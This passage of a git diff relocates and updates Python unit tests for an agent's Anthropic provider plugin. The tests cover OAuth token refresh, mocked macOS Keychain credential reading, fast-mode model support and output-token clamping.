+ failing_client.chat.completions = _AsyncFailingThenSuccessCompletions() + + fresh_client = MagicMock() + fresh_client.base_url = "https://chatgpt.com/backend-api/codex" + fresh_client.chat.completions.create = AsyncMock(return_value=_DummyResponse("fresh-async")) + + with ( + patch( + "agent.auxiliary_client.resolve_vision_provider_client", + side_effect=[("openai-codex", failing_client, "gpt-5.4"), ("openai-codex", fresh_client, "gpt-5.4")], + ), + patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh, + ): + resp = await async_call_llm( + task="vision", + provider="openai-codex", + model="gpt-5.4", + messages=[{"role": "user", "content": "hi"}], + ) + + assert resp.choices[0].message.content == "fresh-async" + mock_refresh.assert_called_once_with("openai-codex") + + def test_refresh_provider_credentials_force_refreshes_anthropic_oauth_and_evicts_cache(self, monkeypatch): + stale_client = MagicMock() + cache_key = ("anthropic", False, None, None, None) + + monkeypatch.setenv("ANTHROPIC_TOKEN", "") + monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "") + monkeypatch.setenv("ANTHROPIC_API_KEY", "") + + with ( + patch("agent.auxiliary_client._client_cache", {cache_key: (stale_client, "claude-haiku-4-5-20251001", None)}), + patch("hermes_agent_anthropic.adapter.read_claude_code_credentials", return_value={ + "accessToken": "expired-token", + "refreshToken": "refresh-token", + "expiresAt": 0, + }), + patch("hermes_agent_anthropic.adapter.refresh_anthropic_oauth_pure", return_value={ + "access_token": "***", + "refresh_token": "***", + "expires_at_ms": 9999999999999, + }) as mock_refresh_oauth, + patch("hermes_agent_anthropic.adapter._write_claude_code_credentials") as mock_write, + ): + from agent.auxiliary_client import _refresh_provider_credentials + + assert _refresh_provider_credentials("anthropic") is True + + mock_refresh_oauth.assert_called_once_with("refresh-token", use_json=False) + mock_write.assert_called_once_with("fresh-token", "refresh-token-2", 9999999999999) + stale_client.close.assert_called_once() + + @pytest.mark.asyncio + async def test_async_call_llm_refreshes_anthropic_on_401_for_non_vision(self): + stale_client = MagicMock() + stale_client.base_url = "https://api.anthropic.com" + stale_client.chat.completions.create = AsyncMock(side_effect=_AuxAuth401("anthropic token expired")) + + fresh_client = MagicMock() + fresh_client.base_url = "https://api.anthropic.com" + fresh_client.chat.completions.create = AsyncMock(return_value=_DummyResponse("fresh-async-anthropic")) + + with ( + patch("agent.auxiliary_client._resolve_task_provider_model", return_value=("anthropic", "claude-haiku-4-5-20251001", None, None, None)), + patch("agent.auxiliary_client._get_cached_client", side_effect=[(stale_client, "claude-haiku-4-5-20251001"), (fresh_client, "claude-haiku-4-5-20251001")]), + patch("agent.auxiliary_client._refresh_provider_credentials", return_value=True) as mock_refresh, + ): + resp = await async_call_llm( + task="compression", + provider="anthropic", + model="claude-haiku-4-5-20251001", + messages=[{"role": "user", "content": "hi"}], + ) + + assert resp.choices[0].message.content == "fresh-async-anthropic" + mock_refresh.assert_called_once_with("anthropic") + assert stale_client.chat.completions.create.await_count == 1 + assert fresh_client.chat.completions.create.await_count == 1 diff --git a/plugins/model-providers/anthropic/tests/test_anthropic_computer_use.py b/plugins/model-providers/anthropic/tests/test_anthropic_computer_use.py new file mode 100644 index 00000000000..554432e32b3 --- /dev/null +++ b/plugins/model-providers/anthropic/tests/test_anthropic_computer_use.py @@ -0,0 +1,129 @@ +"""Anthropic-specific computer use tests moved from tests/tools/test_computer_use.py.""" + +from __future__ import annotations + +from typing import Any, Dict, List + + +# --------------------------------------------------------------------------- +# Anthropic adapter: multimodal tool-result conversion +# --------------------------------------------------------------------------- + +class TestAnthropicAdapterMultimodal: + def test_multimodal_envelope_becomes_tool_result_with_image_block(self): + from hermes_agent_anthropic import convert_messages_to_anthropic + + fake_png = "iVBORw0KGgo=" + messages = [ + {"role": "user", "content": "take a screenshot"}, + { + "role": "assistant", + "content": "", + "tool_calls": [{ + "id": "call_1", + "type": "function", + "function": {"name": "computer_use", "arguments": "{}"}, + }], + }, + { + "role": "tool", + "tool_call_id": "call_1", + "content": { + "_multimodal": True, + "content": [ + {"type": "text", "text": "1 element"}, + {"type": "image_url", + "image_url": {"url": f"data:image/png;base64,{fake_png}"}}, + ], + "text_summary": "1 element", + }, + }, + ] + _, anthropic_msgs = convert_messages_to_anthropic(messages) + tool_result_msgs = [m for m in anthropic_msgs if m["role"] == "user" + and isinstance(m["content"], list) + and any(b.get("type") == "tool_result" for b in m["content"])] + assert tool_result_msgs, "expected a tool_result user message" + tr = next(b for b in tool_result_msgs[-1]["content"] if b.get("type") == "tool_result") + inner = tr["content"] + assert any(b.get("type") == "image" for b in inner) + assert any(b.get("type") == "text" for b in inner) + + def test_old_screenshots_are_evicted_beyond_max_keep(self): + """Image blocks in old tool_results get replaced with placeholders.""" + from hermes_agent_anthropic import convert_messages_to_anthropic + + fake_png = "iVBORw0KGgo=" + + def _mm_tool(call_id: str) -> Dict[str, Any]: + return { + "role": "tool", + "tool_call_id": call_id, + "content": { + "_multimodal": True, + "content": [ + {"type": "text", "text": "cap"}, + {"type": "image_url", + "image_url": {"url": f"data:image/png;base64,{fake_png}"}}, + ], + "text_summary": "cap", + }, + } + + # Build 5 screenshots interleaved with assistant messages. + messages: List[Dict[str, Any]] = [{"role": "user", "content": "start"}] + for i in range(5): + messages.append({ + "role": "assistant", "content": "", + "tool_calls": [{ + "id": f"call_{i}", + "type": "function", + "function": {"name": "computer_use", "arguments": "{}"}, + }], + }) + messages.append(_mm_tool(f"call_{i}")) + messages.append({"role": "assistant", "content": "done"}) + + _, anthropic_msgs = convert_messages_to_anthropic(messages) + + # Walk tool_result blocks in order; the OLDEST (5 - 3) = 2 should be + # text-only placeholders, newest 3 should still carry image blocks. + tool_results = [] + for m in anthropic_msgs: + if m["role"] != "user" or not isinstance(m["content"], list): + continue + for b in m["content"]: + if b.get("type") == "tool_result": + tool_results.append(b) + + assert len(tool_results) == 5 + with_images = [ + b for b in tool_results + if isinstance(b.get("content"), list) + and any(x.get("type") == "image" for x in b["content"]) + ] + placeholders = [ + b for b in tool_results + if isinstance(b.get("content"), list) + and any( + x.get("type") == "text" + and "screenshot removed" in x.get("text", "") + for x in b["content"] + ) + ] + assert len(with_images) == 3 + assert len(placeholders) == 2 + + def test_content_parts_helper_filters_to_text_and_image(self): + from hermes_agent_anthropic import _content_parts_to_anthropic_blocks + + fake_png = "iVBORw0KGgo=" + blocks = _content_parts_to_anthropic_blocks([ + {"type": "text", "text": "hi"}, + {"type": "image_url", "image_url": {"url": f"data:image/png;base64,{fake_png}"}}, + {"type": "unsupported", "data": "ignored"}, + ]) + types = [b["type"] for b in blocks] + assert "text" in types + assert "image" in types + assert len(blocks) == 2 diff --git a/plugins/model-providers/anthropic/tests/test_anthropic_ctx_halving.py b/plugins/model-providers/anthropic/tests/test_anthropic_ctx_halving.py new file mode 100644 index 00000000000..bfb6c061b3f --- /dev/null +++ b/plugins/model-providers/anthropic/tests/test_anthropic_ctx_halving.py @@ -0,0 +1,47 @@ +"""Anthropic-specific ctx halving tests moved from tests/test_ctx_halving_fix.py.""" + + +# --------------------------------------------------------------------------- +# build_anthropic_kwargs — output cap clamping +# --------------------------------------------------------------------------- + +class TestBuildAnthropicKwargsClamping: + """The context_length clamp only fires when output ceiling > window. + For standard Anthropic models (output ceiling < window) it must not fire. + """ + + def _build(self, model, max_tokens=None, context_length=None): + from hermes_agent_anthropic import build_anthropic_kwargs + return build_anthropic_kwargs( + model=model, + messages=[{"role": "user", "content": "hi"}], + tools=None, + max_tokens=max_tokens, + reasoning_config=None, + context_length=context_length, + ) + + def test_no_clamping_when_output_ceiling_fits_in_window(self): + """Opus 4.6 native output (128K) < context window (200K) — no clamping.""" + kwargs = self._build("claude-opus-4-6", context_length=200_000) + assert kwargs["max_tokens"] == 128_000 + + def test_clamping_fires_for_tiny_custom_window(self): + """When context_length is 8K (local model), output cap is clamped to 7999.""" + kwargs = self._build("claude-opus-4-6", context_length=8_000) + assert kwargs["max_tokens"] == 7_999 + + def test_explicit_max_tokens_respected_when_within_window(self): + """Explicit max_tokens smaller than window passes through unchanged.""" + kwargs = self._build("claude-opus-4-6", max_tokens=4096, context_length=200_000) + assert kwargs["max_tokens"] == 4096 + + def test_explicit_max_tokens_clamped_when_exceeds_window(self): + """Explicit max_tokens larger than a small window is clamped.""" + kwargs = self._build("claude-opus-4-6", max_tokens=32_768, context_length=16_000) + assert kwargs["max_tokens"] == 15_999 + + def test_no_context_length_uses_native_ceiling(self): + """Without context_length the native output ceiling is used directly.""" + kwargs = self._build("claude-sonnet-4-6") + assert kwargs["max_tokens"] == 64_000 diff --git a/tests/agent/test_auxiliary_client_anthropic_custom.py b/plugins/model-providers/anthropic/tests/test_anthropic_custom_endpoint.py similarity index 75% rename from tests/agent/test_auxiliary_client_anthropic_custom.py rename to plugins/model-providers/anthropic/tests/test_anthropic_custom_endpoint.py index 689a6c37ed5..fde544481a8 100644 --- a/tests/agent/test_auxiliary_client_anthropic_custom.py +++ b/plugins/model-providers/anthropic/tests/test_anthropic_custom_endpoint.py @@ -23,19 +23,29 @@ def _clean_env(monkeypatch): monkeypatch.delenv(key, raising=False) -def _install_anthropic_adapter_mocks(): - """Patch build_anthropic_client so the test doesn't need the SDK.""" +def _make_fake_anthropic_namespace(build_side_effect=None, build_return=None): + """Return a fake provider namespace dict and fake client for registry patching. + + _try_custom_endpoint() resolves build_anthropic_client through + registries.get_provider_namespace("anthropic"), not via a direct module + import, so we must patch that path (not hermes_agent_anthropic.adapter). + """ fake_client = MagicMock(name="anthropic_client") - return patch( - "agent.anthropic_adapter.build_anthropic_client", - return_value=fake_client, - ), fake_client + if build_side_effect is not None: + mock_build = MagicMock(side_effect=build_side_effect) + else: + mock_build = MagicMock(return_value=build_return or fake_client) + + fake_ns = {"build_anthropic_client": mock_build} + return fake_ns, fake_client, mock_build def test_custom_endpoint_anthropic_messages_builds_anthropic_wrapper(): """api_mode=anthropic_messages → returns AnthropicAuxiliaryClient, not OpenAI.""" from agent.auxiliary_client import _try_custom_endpoint, AnthropicAuxiliaryClient + fake_ns, fake_client, _ = _make_fake_anthropic_namespace() + with patch( "agent.auxiliary_client._resolve_custom_runtime", return_value=( @@ -46,10 +56,11 @@ def test_custom_endpoint_anthropic_messages_builds_anthropic_wrapper(): ), patch( "agent.auxiliary_client._read_main_model", return_value="claude-sonnet-4-6", - ): - adapter_patch, fake_client = _install_anthropic_adapter_mocks() - with adapter_patch: - client, model = _try_custom_endpoint() + ), patch( + "agent.plugin_registries.registries", + ) as mock_reg: + mock_reg.get_provider_namespace.return_value = fake_ns + client, model = _try_custom_endpoint() assert isinstance(client, AnthropicAuxiliaryClient), ( "Custom endpoint with api_mode=anthropic_messages must return the " @@ -67,6 +78,7 @@ def test_custom_endpoint_anthropic_messages_falls_back_when_sdk_missing(): from agent.auxiliary_client import _try_custom_endpoint import_error = ImportError("anthropic package not installed") + fake_ns, _, _ = _make_fake_anthropic_namespace(build_side_effect=import_error) with patch( "agent.auxiliary_client._resolve_custom_runtime", @@ -75,9 +87,9 @@ def test_custom_endpoint_anthropic_messages_falls_back_when_sdk_missing(): "agent.auxiliary_client._read_main_model", return_value="claude-sonnet-4-6", ), patch( - "agent.anthropic_adapter.build_anthropic_client", - side_effect=import_error, - ): + "agent.plugin_registries.registries", + ) as mock_reg: + mock_reg.get_provider_namespace.return_value = fake_ns client, model = _try_custom_endpoint() # Should fall back to an OpenAI-wire client rather than returning diff --git a/plugins/model-providers/anthropic/tests/test_anthropic_fast_command.py b/plugins/model-providers/anthropic/tests/test_anthropic_fast_command.py new file mode 100644 index 00000000000..245a19405ae --- /dev/null +++ b/plugins/model-providers/anthropic/tests/test_anthropic_fast_command.py @@ -0,0 +1,231 @@ +"""Anthropic-specific fast mode tests moved from tests/cli/test_fast_command.py.""" + +import unittest +from types import SimpleNamespace + + +def _import_cli(): + import hermes_cli.config as config_mod + + if not hasattr(config_mod, "save_env_value_secure"): + config_mod.save_env_value_secure = lambda key, value: { + "success": True, + "stored_as": key, + "validated": False, + } + + import cli as cli_mod + + return cli_mod + + +class TestAnthropicFastMode(unittest.TestCase): + """Verify Anthropic Fast Mode model support and override resolution.""" + + def test_anthropic_opus_supported(self): + from hermes_cli.models import model_supports_fast_mode + + # Native Anthropic format (hyphens) + assert model_supports_fast_mode("claude-opus-4-6") is True + # OpenRouter format (dots) + assert model_supports_fast_mode("claude-opus-4.6") is True + # With vendor prefix + assert model_supports_fast_mode("anthropic/claude-opus-4-6") is True + assert model_supports_fast_mode("anthropic/claude-opus-4.6") is True + + def test_anthropic_non_opus46_models_excluded(self): + """Anthropic restricts fast mode to Opus 4.6 — others must be excluded. + + Per https://platform.claude.com/docs/en/build-with-claude/fast-mode, + sending speed=fast to Opus 4.7, Sonnet, or Haiku returns HTTP 400. + """ + from hermes_cli.models import model_supports_fast_mode + + assert model_supports_fast_mode("claude-sonnet-4-6") is False + assert model_supports_fast_mode("claude-sonnet-4.6") is False + assert model_supports_fast_mode("claude-haiku-4-5") is False + assert model_supports_fast_mode("claude-opus-4-7") is False + assert model_supports_fast_mode("anthropic/claude-sonnet-4.6") is False + assert model_supports_fast_mode("anthropic/claude-opus-4-7") is False + + def test_non_claude_models_not_anthropic_fast(self): + """Non-Claude models should not be treated as Anthropic fast-mode.""" + from hermes_cli.models import _is_anthropic_fast_model + + assert _is_anthropic_fast_model("gpt-5.4") is False + assert _is_anthropic_fast_model("gemini-3-pro") is False + assert _is_anthropic_fast_model("kimi-k2-thinking") is False + + def test_anthropic_variant_tags_stripped(self): + from hermes_cli.models import model_supports_fast_mode + + # OpenRouter variant tags after colon should be stripped + assert model_supports_fast_mode("claude-opus-4.6:fast") is True + assert model_supports_fast_mode("claude-opus-4.6:beta") is True + + def test_resolve_overrides_returns_speed_for_anthropic(self): + from hermes_cli.models import resolve_fast_mode_overrides + + result = resolve_fast_mode_overrides("claude-opus-4-6") + assert result == {"speed": "fast"} + + result = resolve_fast_mode_overrides("anthropic/claude-opus-4.6") + assert result == {"speed": "fast"} + + def test_resolve_overrides_returns_none_for_unsupported_claude(self): + """Opus 4.7 and other Claude models don't support fast mode (API 400s). + + Per Anthropic docs, fast mode is currently Opus 4.6 only. + """ + from hermes_cli.models import resolve_fast_mode_overrides + + assert resolve_fast_mode_overrides("claude-opus-4-7") is None + assert resolve_fast_mode_overrides("claude-sonnet-4-6") is None + assert resolve_fast_mode_overrides("claude-haiku-4-5") is None + + def test_resolve_overrides_returns_service_tier_for_openai(self): + """OpenAI models should still get service_tier, not speed.""" + from hermes_cli.models import resolve_fast_mode_overrides + + result = resolve_fast_mode_overrides("gpt-5.4") + assert result == {"service_tier": "priority"} + + def test_is_anthropic_fast_model(self): + """Fast mode is currently Opus 4.6 only — other Claude variants must be excluded.""" + from hermes_cli.models import _is_anthropic_fast_model + + # Supported: Opus 4.6 in any form + assert _is_anthropic_fast_model("claude-opus-4-6") is True + assert _is_anthropic_fast_model("claude-opus-4.6") is True + assert _is_anthropic_fast_model("anthropic/claude-opus-4-6") is True + assert _is_anthropic_fast_model("claude-opus-4.6:fast") is True + + # Unsupported per Anthropic API contract — would 400 if we sent speed=fast + assert _is_anthropic_fast_model("claude-opus-4-7") is False + assert _is_anthropic_fast_model("claude-sonnet-4-6") is False + assert _is_anthropic_fast_model("claude-haiku-4-5") is False + + # Non-Claude + assert _is_anthropic_fast_model("gpt-5.4") is False + assert _is_anthropic_fast_model("") is False + + def test_fast_command_exposed_for_anthropic_model(self): + cli_mod = _import_cli() + stub = SimpleNamespace( + provider="anthropic", requested_provider="anthropic", + model="claude-opus-4-6", agent=None, + ) + assert cli_mod.HermesCLI._fast_command_available(stub) is True + + def test_fast_command_hidden_for_anthropic_sonnet(self): + """Sonnet doesn't support fast mode (Opus 4.6 only) — /fast must be hidden.""" + cli_mod = _import_cli() + stub = SimpleNamespace( + provider="anthropic", requested_provider="anthropic", + model="claude-sonnet-4-6", agent=None, + ) + assert cli_mod.HermesCLI._fast_command_available(stub) is False + + def test_fast_command_hidden_for_anthropic_opus_47(self): + """Opus 4.7 doesn't support fast mode — /fast must be hidden.""" + cli_mod = _import_cli() + stub = SimpleNamespace( + provider="anthropic", requested_provider="anthropic", + model="claude-opus-4-7", agent=None, + ) + assert cli_mod.HermesCLI._fast_command_available(stub) is False + + def test_fast_command_hidden_for_non_claude_non_openai(self): + """Non-Claude, non-OpenAI models should not expose /fast.""" + cli_mod = _import_cli() + stub = SimpleNamespace( + provider="gemini", requested_provider="gemini", + model="gemini-3-pro-preview", agent=None, + ) + assert cli_mod.HermesCLI._fast_command_available(stub) is False + + def test_turn_route_injects_speed_for_anthropic(self): + """Anthropic models should get speed:'fast' override, not service_tier.""" + cli_mod = _import_cli() + stub = SimpleNamespace( + model="claude-opus-4-6", + api_key="sk-ant-test", + base_url="https://api.anthropic.com", + provider="anthropic", + api_mode="anthropic_messages", + acp_command=None, + acp_args=[], + _credential_pool=None, + service_tier="priority", + ) + + route = cli_mod.HermesCLI._resolve_turn_agent_config(stub, "hi") + + assert route["runtime"]["provider"] == "anthropic" + assert route["request_overrides"] == {"speed": "fast"} + + +class TestAnthropicFastModeAdapter(unittest.TestCase): + """Verify build_anthropic_kwargs handles fast_mode parameter.""" + + def test_fast_mode_adds_speed_and_beta(self): + from hermes_agent_anthropic import build_anthropic_kwargs, _FAST_MODE_BETA + + kwargs = build_anthropic_kwargs( + model="claude-opus-4-6", + messages=[{"role": "user", "content": [{"type": "text", "text": "hi"}]}], + tools=None, + max_tokens=None, + reasoning_config=None, + fast_mode=True, + ) + assert kwargs.get("extra_body", {}).get("speed") == "fast" + assert "speed" not in kwargs + assert "extra_headers" in kwargs + assert _FAST_MODE_BETA in kwargs["extra_headers"].get("anthropic-beta", "") + + def test_fast_mode_off_no_speed(self): + from hermes_agent_anthropic import build_anthropic_kwargs + + kwargs = build_anthropic_kwargs( + model="claude-opus-4-6", + messages=[{"role": "user", "content": [{"type": "text", "text": "hi"}]}], + tools=None, + max_tokens=None, + reasoning_config=None, + fast_mode=False, + ) + assert kwargs.get("extra_body", {}).get("speed") is None + assert "speed" not in kwargs + assert "extra_headers" not in kwargs + + def test_fast_mode_skipped_for_third_party_endpoint(self): + from hermes_agent_anthropic import build_anthropic_kwargs + + kwargs = build_anthropic_kwargs( + model="claude-opus-4-6", + messages=[{"role": "user", "content": [{"type": "text", "text": "hi"}]}], + tools=None, + max_tokens=None, + reasoning_config=None, + fast_mode=True, + base_url="https://api.minimax.io/anthropic/v1", + ) + # Third-party endpoints should NOT get speed or fast-mode beta + assert kwargs.get("extra_body", {}).get("speed") is None + assert "speed" not in kwargs + assert "extra_headers" not in kwargs + + def test_fast_mode_kwargs_are_safe_for_sdk_unpacking(self): + from hermes_agent_anthropic import build_anthropic_kwargs + + kwargs = build_anthropic_kwargs( + model="claude-opus-4-6", + messages=[{"role": "user", "content": [{"type": "text", "text": "hi"}]}], + tools=None, + max_tokens=None, + reasoning_config=None, + fast_mode=True, + ) + assert "speed" not in kwargs + assert kwargs.get("extra_body", {}).get("speed") == "fast" diff --git a/tests/agent/test_anthropic_keychain.py b/plugins/model-providers/anthropic/tests/test_anthropic_keychain.py similarity index 72% rename from tests/agent/test_anthropic_keychain.py rename to plugins/model-providers/anthropic/tests/test_anthropic_keychain.py index c0f9c771824..ad90a00400f 100644 --- a/tests/agent/test_anthropic_keychain.py +++ b/plugins/model-providers/anthropic/tests/test_anthropic_keychain.py @@ -6,7 +6,7 @@ from unittest.mock import patch, MagicMock import pytest -from agent.anthropic_adapter import ( +from hermes_agent_anthropic.adapter import ( _read_claude_code_credentials_from_keychain, read_claude_code_credentials, ) @@ -17,42 +17,42 @@ class TestReadClaudeCodeCredentialsFromKeychain: def test_returns_none_on_linux(self): """Keychain reading is Darwin-only; must return None on other platforms.""" - with patch("agent.anthropic_adapter.platform.system", return_value="Linux"): + with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Linux"): assert _read_claude_code_credentials_from_keychain() is None def test_returns_none_on_windows(self): - with patch("agent.anthropic_adapter.platform.system", return_value="Windows"): + with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Windows"): assert _read_claude_code_credentials_from_keychain() is None def test_returns_none_when_security_command_not_found(self): """OSError from missing security binary must be handled gracefully.""" - with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \ - patch("agent.anthropic_adapter.subprocess.run", + with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \ + patch("hermes_agent_anthropic.adapter.subprocess.run", side_effect=OSError("security not found")): assert _read_claude_code_credentials_from_keychain() is None def test_returns_none_on_nonzero_exit_code(self): """security returns non-zero when the Keychain entry doesn't exist.""" - with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \ - patch("agent.anthropic_adapter.subprocess.run") as mock_run: + with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \ + patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run: mock_run.return_value = MagicMock(returncode=1, stdout="", stderr="") assert _read_claude_code_credentials_from_keychain() is None def test_returns_none_for_empty_stdout(self): - with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \ - patch("agent.anthropic_adapter.subprocess.run") as mock_run: + with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \ + patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run: mock_run.return_value = MagicMock(returncode=0, stdout="", stderr="") assert _read_claude_code_credentials_from_keychain() is None def test_returns_none_for_non_json_payload(self): - with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \ - patch("agent.anthropic_adapter.subprocess.run") as mock_run: + with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \ + patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run: mock_run.return_value = MagicMock(returncode=0, stdout="not valid json", stderr="") assert _read_claude_code_credentials_from_keychain() is None def test_returns_none_when_password_field_is_missing_claude_ai_oauth(self): - with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \ - patch("agent.anthropic_adapter.subprocess.run") as mock_run: + with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \ + patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run: mock_run.return_value = MagicMock( returncode=0, stdout=json.dumps({"someOtherService": {"accessToken": "tok"}}), @@ -61,8 +61,8 @@ class TestReadClaudeCodeCredentialsFromKeychain: assert _read_claude_code_credentials_from_keychain() is None def test_returns_none_when_access_token_is_empty(self): - with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \ - patch("agent.anthropic_adapter.subprocess.run") as mock_run: + with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \ + patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run: mock_run.return_value = MagicMock( returncode=0, stdout=json.dumps({"claudeAiOauth": {"accessToken": "", "refreshToken": "x"}}), @@ -71,8 +71,8 @@ class TestReadClaudeCodeCredentialsFromKeychain: assert _read_claude_code_credentials_from_keychain() is None def test_parses_valid_keychain_entry(self): - with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \ - patch("agent.anthropic_adapter.subprocess.run") as mock_run: + with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \ + patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run: mock_run.return_value = MagicMock( returncode=0, stdout=json.dumps({ @@ -107,11 +107,11 @@ class TestReadClaudeCodeCredentialsPriority: "expiresAt": 9999999999999, } })) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) # Mock Keychain to return a "newer" token - with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \ - patch("agent.anthropic_adapter.subprocess.run") as mock_run: + with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \ + patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run: mock_run.return_value = MagicMock( returncode=0, stdout=json.dumps({ @@ -141,10 +141,10 @@ class TestReadClaudeCodeCredentialsPriority: "expiresAt": 9999999999999, } })) - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) - with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \ - patch("agent.anthropic_adapter.subprocess.run") as mock_run: + with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \ + patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run: # Simulate Keychain entry not found mock_run.return_value = MagicMock(returncode=1, stdout="", stderr="") creds = read_claude_code_credentials() @@ -155,10 +155,10 @@ class TestReadClaudeCodeCredentialsPriority: def test_returns_none_when_neither_keychain_nor_json_has_creds(self, tmp_path, monkeypatch): """No credentials anywhere — must return None cleanly.""" - monkeypatch.setattr("agent.anthropic_adapter.Path.home", lambda: tmp_path) + monkeypatch.setattr("hermes_agent_anthropic.adapter.Path.home", lambda: tmp_path) - with patch("agent.anthropic_adapter.platform.system", return_value="Darwin"), \ - patch("agent.anthropic_adapter.subprocess.run") as mock_run: + with patch("hermes_agent_anthropic.adapter.platform.system", return_value="Darwin"), \ + patch("hermes_agent_anthropic.adapter.subprocess.run") as mock_run: mock_run.return_value = MagicMock(returncode=1, stdout="", stderr="") creds = read_claude_code_credentials() diff --git a/tests/agent/test_anthropic_mcp_prefix_strip.py b/plugins/model-providers/anthropic/tests/test_anthropic_mcp_prefix_strip.py similarity index 99% rename from tests/agent/test_anthropic_mcp_prefix_strip.py rename to plugins/model-providers/anthropic/tests/test_anthropic_mcp_prefix_strip.py index 102cbadca51..ef20238baa5 100644 --- a/tests/agent/test_anthropic_mcp_prefix_strip.py +++ b/plugins/model-providers/anthropic/tests/test_anthropic_mcp_prefix_strip.py @@ -191,7 +191,7 @@ class TestAnthropicOAuthOutgoingPrefix: tools registered as ``mcp__``). GH-25255.""" def _build(self, tools, is_oauth=True): - from agent.anthropic_adapter import build_anthropic_kwargs + from hermes_agent_anthropic import build_anthropic_kwargs return build_anthropic_kwargs( model="claude-sonnet-4-6", messages=[{"role": "user", "content": "Hi"}], diff --git a/tests/hermes_cli/test_anthropic_model_flow_stale_oauth.py b/plugins/model-providers/anthropic/tests/test_anthropic_model_flow_stale_oauth.py similarity index 90% rename from tests/hermes_cli/test_anthropic_model_flow_stale_oauth.py rename to plugins/model-providers/anthropic/tests/test_anthropic_model_flow_stale_oauth.py index e5526a34789..864e5de5a8f 100644 --- a/tests/hermes_cli/test_anthropic_model_flow_stale_oauth.py +++ b/plugins/model-providers/anthropic/tests/test_anthropic_model_flow_stale_oauth.py @@ -30,7 +30,7 @@ class TestStaleOAuthTokenDetection: # No valid Claude Code credentials available (expired, no refresh token) monkeypatch.setattr( - "agent.anthropic_adapter.read_claude_code_credentials", + "hermes_agent_anthropic.adapter.read_claude_code_credentials", lambda: { "accessToken": "expired-cc-token", "refreshToken": "", # No refresh — can't recover @@ -39,16 +39,16 @@ class TestStaleOAuthTokenDetection: }, ) monkeypatch.setattr( - "agent.anthropic_adapter.is_claude_code_token_valid", + "hermes_agent_anthropic.adapter.is_claude_code_token_valid", lambda creds: False, # Explicitly expired ) monkeypatch.setattr( - "agent.anthropic_adapter._is_oauth_token", + "hermes_agent_anthropic.adapter._is_oauth_token", lambda key: key.startswith("sk-ant-"), ) # _resolve_claude_code_token_from_credentials has no valid path monkeypatch.setattr( - "agent.anthropic_adapter._resolve_claude_code_token_from_credentials", + "hermes_agent_anthropic.adapter._resolve_claude_code_token_from_credentials", lambda creds=None: None, ) @@ -80,15 +80,15 @@ class TestStaleOAuthTokenDetection: save_env_value("ANTHROPIC_TOKEN", "") monkeypatch.setattr( - "agent.anthropic_adapter.read_claude_code_credentials", + "hermes_agent_anthropic.adapter.read_claude_code_credentials", lambda: None, # No CC creds ) monkeypatch.setattr( - "agent.anthropic_adapter.is_claude_code_token_valid", + "hermes_agent_anthropic.adapter.is_claude_code_token_valid", lambda creds: False, ) monkeypatch.setattr( - "agent.anthropic_adapter._is_oauth_token", + "hermes_agent_anthropic.adapter._is_oauth_token", lambda key: key.startswith("sk-ant-") and "oat" in key, ) @@ -116,7 +116,7 @@ class TestStaleOAuthTokenDetection: # Valid Claude Code credentials with refresh token monkeypatch.setattr( - "agent.anthropic_adapter.read_claude_code_credentials", + "hermes_agent_anthropic.adapter.read_claude_code_credentials", lambda: { "accessToken": "valid-cc-token", "refreshToken": "valid-refresh", @@ -124,15 +124,15 @@ class TestStaleOAuthTokenDetection: }, ) monkeypatch.setattr( - "agent.anthropic_adapter.is_claude_code_token_valid", + "hermes_agent_anthropic.adapter.is_claude_code_token_valid", lambda creds: True, ) monkeypatch.setattr( - "agent.anthropic_adapter._is_oauth_token", + "hermes_agent_anthropic.adapter._is_oauth_token", lambda key: key.startswith("sk-ant-"), ) monkeypatch.setattr( - "agent.anthropic_adapter._resolve_claude_code_token_from_credentials", + "hermes_agent_anthropic.adapter._resolve_claude_code_token_from_credentials", lambda creds=None: "valid-cc-token", ) diff --git a/tests/agent/test_anthropic_oauth_pkce.py b/plugins/model-providers/anthropic/tests/test_anthropic_oauth_pkce.py similarity index 97% rename from tests/agent/test_anthropic_oauth_pkce.py rename to plugins/model-providers/anthropic/tests/test_anthropic_oauth_pkce.py index 5cf74d7a6a5..95b4826b77f 100644 --- a/tests/agent/test_anthropic_oauth_pkce.py +++ b/plugins/model-providers/anthropic/tests/test_anthropic_oauth_pkce.py @@ -114,7 +114,7 @@ def test_authorization_url_state_is_not_pkce_verifier(monkeypatch, tmp_path): monkeypatch.setattr(builtins, "input", fake_input) - from agent.anthropic_adapter import run_hermes_oauth_login_pure + from hermes_agent_anthropic import run_hermes_oauth_login_pure result = run_hermes_oauth_login_pure() assert result is not None, "OAuth flow should succeed 